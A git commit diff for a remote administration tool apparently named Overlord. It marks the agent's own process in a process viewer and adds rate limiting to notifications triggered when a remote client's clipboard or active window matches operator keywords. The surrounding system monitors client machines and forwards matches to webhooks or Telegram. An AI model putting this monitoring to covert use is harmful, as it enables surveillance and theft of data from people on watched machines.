show running process in process viewer and add limiting to the notification system

This commit is contained in:
KingKDot
2026-05-16 23:19:46 -05:00
parent e2ef4a375f
commit d691c5b804
11 changed files with 207 additions and 3 deletions
@@ -6,6 +6,7 @@ package handlers
import (
"bufio"
"bytes"
"os"
"os/exec"
"strconv"
"strings"
@@ -15,6 +16,7 @@ import (
)
func listProcesses() ([]wire.ProcessInfo, error) {
selfPID := int32(os.Getpid())
cmd := exec.Command("ps", "aux")
output, err := cmd.Output()
@@ -78,6 +80,7 @@ func listProcesses() ([]wire.ProcessInfo, error) {
Memory: memBytes,
Username: username,
Type: procType,
Self: int32(pid) == selfPID,
})
}
@@ -5,6 +5,7 @@ package handlers
import (
"fmt"
"os"
"strings"
"syscall"
"unsafe"
@@ -37,6 +38,7 @@ type PROCESS_MEMORY_COUNTERS struct {
}
func listProcesses() ([]wire.ProcessInfo, error) {
selfPID := int32(os.Getpid())
var pids [4096]uint32
var bytesReturned uint32
@@ -157,6 +159,7 @@ func listProcesses() ([]wire.ProcessInfo, error) {
Memory: memory,
Username: username,
Type: procType,
Self: pid == selfPID,
})
}
@@ -153,6 +153,7 @@ type ProcessInfo struct {
Memory uint64 `msgpack:"memory"`
Username string `msgpack:"username,omitempty"`
Type string `msgpack:"type,omitempty"`
Self bool `msgpack:"self,omitempty"`
}
type ProcessListResult struct {
+32 -1
View File
@@ -27,6 +27,9 @@ const keywordInput = document.getElementById("keyword-input");
const clipboardEnabledInput = document.getElementById("clipboard-enabled");
const saveKeywordsBtn = document.getElementById("save-keywords");
const keywordHint = document.getElementById("keyword-hint");
const antiSpamMaxHitsInput = document.getElementById("antispam-max-hits");
const antiSpamWindowInput = document.getElementById("antispam-window");
const antiSpamCooldownInput = document.getElementById("antispam-cooldown");
// Webhook section
const webhookEnabledInput = document.getElementById("webhook-enabled");
@@ -476,6 +479,15 @@ async function loadKeywords() {
if (clipboardEnabledInput) {
clipboardEnabledInput.checked = data?.notifications?.clipboardEnabled === true;
}
if (antiSpamMaxHitsInput) {
antiSpamMaxHitsInput.value = data?.notifications?.antiSpamMaxHits ?? 15;
}
if (antiSpamWindowInput) {
antiSpamWindowInput.value = Math.round((data?.notifications?.antiSpamWindowMs ?? 600000) / 60000);
}
if (antiSpamCooldownInput) {
antiSpamCooldownInput.value = Math.round((data?.notifications?.antiSpamCooldownMs ?? 600000) / 60000);
}
} catch {}
}
@@ -484,11 +496,21 @@ function wireKeywordSave() {
saveKeywordsBtn.addEventListener("click", async () => {
const keywords = parseKeywords(keywordInput.value);
const clipboardEnabled = clipboardEnabledInput ? clipboardEnabledInput.checked : false;
const payload = { keywords, clipboardEnabled };
if (antiSpamMaxHitsInput) {
payload.antiSpamMaxHits = Math.max(1, parseInt(antiSpamMaxHitsInput.value, 10) || 15);
}
if (antiSpamWindowInput) {
payload.antiSpamWindowMs = Math.max(1, parseInt(antiSpamWindowInput.value, 10) || 10) * 60000;
}
if (antiSpamCooldownInput) {
payload.antiSpamCooldownMs = Math.max(1, parseInt(antiSpamCooldownInput.value, 10) || 10) * 60000;
}
try {
const res = await fetch("/api/notifications/config", {
method: "PUT",
headers: { "Content-Type": "application/json" },
body: JSON.stringify({ keywords, clipboardEnabled }),
body: JSON.stringify(payload),
});
if (!res.ok) {
window.showToast?.("Failed to save keywords", "error", 4000);
@@ -501,6 +523,15 @@ function wireKeywordSave() {
if (clipboardEnabledInput && typeof data?.notifications?.clipboardEnabled === "boolean") {
clipboardEnabledInput.checked = data.notifications.clipboardEnabled;
}
if (antiSpamMaxHitsInput && data?.notifications?.antiSpamMaxHits) {
antiSpamMaxHitsInput.value = data.notifications.antiSpamMaxHits;
}
if (antiSpamWindowInput && data?.notifications?.antiSpamWindowMs) {
antiSpamWindowInput.value = Math.round(data.notifications.antiSpamWindowMs / 60000);
}
if (antiSpamCooldownInput && data?.notifications?.antiSpamCooldownMs) {
antiSpamCooldownInput.value = Math.round(data.notifications.antiSpamCooldownMs / 60000);
}
window.showToast?.("Keywords updated", "success", 3000);
} catch {
window.showToast?.("Failed to save keywords", "error", 4000);
+15 -2
View File
@@ -255,6 +255,9 @@ function createProcessRow(proc, depth = 0) {
if (selectedPid === proc.pid) {
row.classList.add("selected");
}
if (proc.self) {
row.classList.add("self-process");
}
const cpuColor =
proc.cpu > 50
@@ -276,6 +279,7 @@ function createProcessRow(proc, depth = 0) {
}
let nameColor = "text-slate-200";
let iconClass = "fa-microchip";
let iconColor = "text-blue-400";
if (proc.type === "system") {
nameColor = "text-purple-400";
@@ -287,12 +291,21 @@ function createProcessRow(proc, depth = 0) {
nameColor = "text-green-300";
iconColor = "text-green-400";
}
if (proc.self) {
nameColor = "text-yellow-300 font-semibold";
iconClass = "fa-crosshairs";
iconColor = "text-yellow-400";
}
const selfBadge = proc.self
? ' <span class="ml-1 text-[10px] uppercase tracking-wide px-1.5 py-0.5 rounded bg-yellow-500/20 text-yellow-300 border border-yellow-500/40">agent</span>'
: "";
row.innerHTML = `
<div class="col-span-1 text-sm font-mono text-slate-400">${proc.pid}</div>
<div class="col-span-4 flex items-center gap-1 truncate">
${indent}${treeIcon}<i class="fa-solid fa-microchip ${iconColor}"></i>
<span class="truncate ${nameColor}">${escapeHtml(proc.name)}</span>
${indent}${treeIcon}<i class="fa-solid ${iconClass} ${iconColor}"></i>
<span class="truncate ${nameColor}">${escapeHtml(proc.name)}</span>${selfBadge}
</div>
<div class="col-span-2 text-sm ${cpuColor} font-semibold">${proc.cpu.toFixed(1)}%</div>
<div class="col-span-2 text-sm text-slate-400">${memoryStr}</div>
+40
View File
@@ -72,6 +72,46 @@
Monitor clipboard content for keyword matches
</label>
<div class="mt-2 text-xs text-slate-500" id="keyword-hint"></div>
<!-- Anti-Spam Settings -->
<div class="mt-4 pt-4 border-t border-slate-800">
<h3 class="text-sm font-semibold text-slate-300">Anti-Spam Limits</h3>
<p class="text-xs text-slate-500 mt-1">
Block a keyword for a client when it fires too many times in a short window.
</p>
<div class="mt-3 grid grid-cols-1 sm:grid-cols-3 gap-3">
<div>
<label class="block text-xs text-slate-400 mb-1">Max hits before block</label>
<input
id="antispam-max-hits"
type="number"
min="1"
max="10000"
class="w-full rounded-lg bg-slate-950 border border-slate-800 text-slate-100 px-3 py-2 text-sm focus:outline-none focus:border-blue-500"
/>
</div>
<div>
<label class="block text-xs text-slate-400 mb-1">Detection window (minutes)</label>
<input
id="antispam-window"
type="number"
min="1"
max="1440"
class="w-full rounded-lg bg-slate-950 border border-slate-800 text-slate-100 px-3 py-2 text-sm focus:outline-none focus:border-blue-500"
/>
</div>
<div>
<label class="block text-xs text-slate-400 mb-1">Cooldown (minutes)</label>
<input
id="antispam-cooldown"
type="number"
min="1"
max="1440"
class="w-full rounded-lg bg-slate-950 border border-slate-800 text-slate-100 px-3 py-2 text-sm focus:outline-none focus:border-blue-500"
/>
</div>
</div>
</div>
</div>
<!-- Per-user Webhook Delivery -->
+12
View File
@@ -26,6 +26,14 @@
background-color: rgba(59, 130, 246, 0.3);
border-color: rgba(59, 130, 246, 0.6);
}
.process-row.self-process {
background-color: rgba(234, 179, 8, 0.12);
border-color: rgba(234, 179, 8, 0.5);
box-shadow: inset 3px 0 0 0 #facc15;
}
.process-row.self-process.selected {
background-color: rgba(234, 179, 8, 0.28);
}
/* Dark scrollbar styling */
#process-list::-webkit-scrollbar {
width: 12px;
@@ -189,6 +197,10 @@
<i class="fa-solid fa-circle text-slate-200"></i>
<span class="text-slate-400">Other</span>
</div>
<div class="flex items-center gap-1.5">
<i class="fa-solid fa-crosshairs text-yellow-400"></i>
<span class="text-slate-400">Overlord Agent</span>
</div>
</div>
<!-- Process List -->
+18
View File
@@ -41,6 +41,9 @@ export interface Config {
telegramBotToken: string;
telegramChatId: string;
clipboardEnabled: boolean;
antiSpamMaxHits: number;
antiSpamWindowMs: number;
antiSpamCooldownMs: number;
};
security: {
sessionTtlHours: number;
@@ -117,6 +120,9 @@ const DEFAULT_CONFIG: Config = {
telegramBotToken: "",
telegramChatId: "",
clipboardEnabled: false,
antiSpamMaxHits: 15,
antiSpamWindowMs: 600000,
antiSpamCooldownMs: 600000,
},
security: {
sessionTtlHours: 168,
@@ -438,6 +444,18 @@ export function loadConfig(): Config {
String(process.env.OVERLORD_NOTIFICATION_CLIPBOARD_ENABLED || "").toLowerCase() === "true" ||
fileConfig.notifications?.clipboardEnabled ||
DEFAULT_CONFIG.notifications.clipboardEnabled,
antiSpamMaxHits:
Number(process.env.OVERLORD_NOTIFICATION_ANTISPAM_MAX_HITS) ||
fileConfig.notifications?.antiSpamMaxHits ||
DEFAULT_CONFIG.notifications.antiSpamMaxHits,
antiSpamWindowMs:
Number(process.env.OVERLORD_NOTIFICATION_ANTISPAM_WINDOW_MS) ||
fileConfig.notifications?.antiSpamWindowMs ||
DEFAULT_CONFIG.notifications.antiSpamWindowMs,
antiSpamCooldownMs:
Number(process.env.OVERLORD_NOTIFICATION_ANTISPAM_COOLDOWN_MS) ||
fileConfig.notifications?.antiSpamCooldownMs ||
DEFAULT_CONFIG.notifications.antiSpamCooldownMs,
},
security: {
sessionTtlHours:
+1
View File
@@ -232,6 +232,7 @@ export type ProcessInfo = {
memory: number;
username?: string;
type?: string;
self?: boolean;
};
export type ProcessListResult = {
@@ -170,6 +170,19 @@ export async function handleNotificationsConfigRoutes(
}
}
const antiSpamMaxHits =
typeof body?.antiSpamMaxHits === "number"
? Math.max(1, Math.min(10000, Math.floor(body.antiSpamMaxHits)))
: currentConfig.antiSpamMaxHits;
const antiSpamWindowMs =
typeof body?.antiSpamWindowMs === "number"
? Math.max(5000, Math.min(86400000, Math.floor(body.antiSpamWindowMs)))
: currentConfig.antiSpamWindowMs;
const antiSpamCooldownMs =
typeof body?.antiSpamCooldownMs === "number"
? Math.max(5000, Math.min(86400000, Math.floor(body.antiSpamCooldownMs)))
: currentConfig.antiSpamCooldownMs;
const updated = await updateNotificationsConfig({
keywords,
webhookEnabled,
@@ -178,6 +191,9 @@ export async function handleNotificationsConfigRoutes(
telegramBotToken,
telegramChatId,
clipboardEnabled,
antiSpamMaxHits,
antiSpamWindowMs,
antiSpamCooldownMs,
});
for (const client of clientManager.getAllClients().values()) {
@@ -33,6 +33,12 @@ type NotificationRateState = {
lastWarned: number;
};
type AntiSpamState = {
hits: number;
windowStart: number;
blockedUntil: number;
};
type PendingNotificationScreenshot = {
notificationId: string;
clientId: string;
@@ -45,6 +51,9 @@ type NotificationConfigShape = {
spamWindowMs?: number;
spamWarnThreshold?: number;
historyLimit?: number;
antiSpamMaxHits?: number;
antiSpamWindowMs?: number;
antiSpamCooldownMs?: number;
};
type CreateDeps = {
@@ -88,6 +97,8 @@ function safeSendViewer(ws: ServerWebSocket<SocketData>, payload: unknown) {
}
export function createNotificationPluginHandlers(deps: CreateDeps) {
const antiSpamState = new Map<string, AntiSpamState>();
const pluginUIEventBuffer = new Map<string, Array<{ event: string; payload: any; ts: number }>>();
const PLUGIN_UI_EVENT_BUFFER_MAX = 200;
const PLUGIN_UI_EVENT_TTL_MS = 60_000;
@@ -183,6 +194,43 @@ export function createNotificationPluginHandlers(deps: CreateDeps) {
return true;
}
function checkAntiSpam(key: string, ts: number): boolean {
const notificationConfig = deps.getNotificationConfig();
const maxHits = Math.max(1, notificationConfig.antiSpamMaxHits || 15);
const windowMs = Math.max(5000, notificationConfig.antiSpamWindowMs || 600000);
const cooldownMs = Math.max(5000, notificationConfig.antiSpamCooldownMs || 600000);
const state = antiSpamState.get(key);
if (state) {
if (ts < state.blockedUntil) {
return false;
}
if (ts - state.windowStart > windowMs) {
state.windowStart = ts;
state.hits = 1;
state.blockedUntil = 0;
antiSpamState.set(key, state);
return true;
}
state.hits += 1;
if (state.hits > maxHits) {
state.blockedUntil = ts + cooldownMs;
logger.warn(`[notify] anti-spam: blocked keyword for ${key} until ${new Date(state.blockedUntil).toISOString()} (${state.hits} hits in ${windowMs}ms)`);
antiSpamState.set(key, state);
return false;
}
antiSpamState.set(key, state);
return true;
}
antiSpamState.set(key, { hits: 1, windowStart: ts, blockedUntil: 0 });
return true;
}
function pruneNotificationRate() {
const notificationConfig = deps.getNotificationConfig();
const spamWindow = Math.max(5000, notificationConfig.spamWindowMs || 60000);
@@ -193,6 +241,15 @@ export function createNotificationPluginHandlers(deps: CreateDeps) {
deps.notificationRate.delete(key);
}
}
const antiSpamWindowMs = Math.max(5000, notificationConfig.antiSpamWindowMs || 600000);
const antiSpamCooldownMs = Math.max(5000, notificationConfig.antiSpamCooldownMs || 600000);
const antiSpamMaxAge = Math.max(antiSpamWindowMs, antiSpamCooldownMs) * 2;
for (const [key, state] of antiSpamState) {
if (now - state.windowStart > antiSpamMaxAge && now > state.blockedUntil) {
antiSpamState.delete(key);
}
}
}
setInterval(pruneNotificationRate, 60_000);
@@ -264,6 +321,10 @@ export function createNotificationPluginHandlers(deps: CreateDeps) {
if (!shouldAcceptNotification(rateKey, ts)) {
return;
}
const antiSpamKey = `${clientId}:${keyword || title}`;
if (!checkAntiSpam(antiSpamKey, ts)) {
return;
}
const info = clientManager.getClient(clientId);
const category: "active_window" | "clipboard" =
payload.category === "clipboard" ? "clipboard" : "active_window";
@@ -368,6 +429,11 @@ export function createNotificationPluginHandlers(deps: CreateDeps) {
deps.notificationRate.delete(key);
}
}
for (const key of Array.from(antiSpamState.keys())) {
if (key === clientId || key.startsWith(`${clientId}:`)) {
antiSpamState.delete(key);
}
}
const item = { type: "notifications_cleared", clientId, ts: Date.now() };
for (const session of sessionManager.getAllNotificationSessions().values()) {
const sRole = session.userRole ?? session.viewer.data.userRole ?? "";